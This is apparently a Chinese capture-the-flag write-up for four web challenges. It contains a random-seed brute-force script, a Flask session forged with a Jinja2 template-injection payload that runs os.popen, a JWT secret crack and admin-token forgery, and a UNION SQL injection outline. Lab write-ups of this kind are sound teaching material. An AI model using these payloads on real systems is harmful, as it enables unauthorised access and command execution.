SHCTF(week 2)web-wp

c1432 / 2024-11-20 / 原文

1.guess_the_number:

F12后查看源码并下载,由于可以获得第一个数,要知道seed可以使得每次生成的随机数一样,我们考虑爆seed,写脚本如下:

import random

def r1(seed):
    random.seed(seed)
    return random.randint(1000000000,9999999999)

for seed in range(1000000,9999999):
    r1_real=1903541205
    if r1(seed)==r1_real:
        print("seed=",seed)
        random.seed(seed)
        random.randint(1000000000, 9999999999)
        r2=random.randint(1000000000,9999999999)
        print(r2)
        break

得到flag

2.入侵者禁入:

读源码发现是模板注入并且解码session发现注入点在session里的flag参数,源码给了secret_key那就直接修改session,这里要么一步步找子类找os函数位置要么直接飞过去,使用工具伪造session:

 python3 flask_session_cookie_manager3.py encode -s "0day_joker" -t "{\"role\":{\"flag\":\"{{url_for.__globals__['os'].popen('ls /').read()}}\",\"is_admin\":1}}"

得到session:eyJyb2xlIjp7ImZsYWciOiJ7e3VybF9mb3IuX19nbG9iYWxzX19bJ29zJ10ucG9wZW4oJ2xzIC8nKS5yZWFkKCl9fSIsImlzX2FkbWluIjoxfX0.ZxowjQ.P72b_Vl7zEVYmLgPDEUfNmaDvA8

后面改改指令就行,可以读到flag。

3.登录验证:

提示给了说要爆破jwt,我们先以admin登录一下,随便试几个密码发现密码应该是admin,说我们“不是真的admin”,那找找token,发现得把role改成admin,并且把那些时间改改,参考【Token】浅谈JWT Token机制 - 知乎 (zhihu.com)我们先把jwt密钥爆破出来,我用的是c-jwt-cracker-master,由于不知道密钥位数,电脑干红温了都爆不出来,仔细看题目提示666猜测是6位密钥,然后误打误撞在数字组找到了secret

./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE3Mjk3Nzc2NTEsImlhdCI6MTcyOTc3MDQ1MSwibmJmIjoxNzI5NzcwNDUxLCJyb2xlIjoidXNlciJ9.9E_42Bp92yz-8bx9PbMVt-ipcCi9uPHKTSaBht55kb8 0123456789 6
Secret is "222333"

然后修改jwt,把role改为admin,exp改到足够大,最后修改token为伪造的token内即得flag

4.自助查询:

union联合注入,输入应为1") union select 1,2这种样式

1.找数据库,名为"ctf"

2.找表名,找到flag表

3.找字段名,找到scretdata

4.查看scretdata的值,提示我们在注释里面

5.找注释,发现flag